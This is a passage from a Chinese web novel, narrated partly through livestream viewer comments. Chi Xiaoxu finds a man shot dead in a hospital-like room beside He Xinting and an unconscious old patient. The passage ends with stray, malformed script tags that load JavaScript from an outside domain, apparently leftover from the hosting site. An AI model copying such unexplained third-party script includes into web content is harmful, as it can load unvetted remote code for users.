池小序也顺利地循着脚步声来到了七楼,他之前还没发现这座楼这么高。
跑得腿酸。
登上七楼平台,池小序伸长了耳朵去听,声音就在不远处。
他朝着细细碎碎的声响跑了过去,这条滑溜溜的走廊跑到一半,一声刺耳的枪响传来。
霎时间,池小序的血液都凝住了。
直播间的弹幕停滞了一瞬。
所有人都愣住了。
白色瓷砖的墙壁在反光,光线透亮,照出一条像彩虹一样的线,蜘蛛网的影子铺洒在地上,以至于这一片的地板就像一汪波光粼粼的水.......
池小序顺着枪响传来的方向跑去。
在门口刹住车,跳上窗台,往里面看去。
一个人咚地倒在贺新亭的脚边,是靳语,他的脑袋下面流了深红色的一滩血,慢慢的,像一条河一样顺着白色地板流到白色病床前。
病床上是一个昏睡不醒的年迈老人,应该就是巴楚枫了。
巴楚枫老人的旁边站着一个人,程橡正弯腰掀了掀巴楚枫的眼皮,然后抬起头,打破了宁静:“嘿,幸好还活着。”
话音刚落,程橡的目光又向乍然出现的池小序看过来。
池小序头皮一麻........
“他死了?”
说完,池小序看了一眼倒在地上的靳语,语气轻轻飘飘的,仿佛不是在问一个人的生死,是在问早上安好?
贺新亭慢慢回过头来。
寒冷刺骨的目光落在了池小序的身上......
【完蛋,猫崽,你自求多福吧,他生气了。】
【玩完了,突然好害怕,猫不会和歪果仁一个下场吧?】
【包的。】
【看来爱播短暂的生命就要这样被他自己作没啦!】
【等等,有反转.......】
那阵毛骨悚然的感觉消失了,池小序无比坦荡地回望过去,目光相撞的那一刻,池小序敏锐的察觉到,贺新亭原本冷得像冰一样的眸子突然回暖。
“........”池小序心想:玩儿什么啊.......把他心脏当球踢吗?
那根紧张的弦突然断了,仿佛凝滞了一般的空气骤然流通了起来,池小序松了一口气,从窗台上跳了下来,越过那滩血探头探脑地试了试靳语的鼻息。
没气了.
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">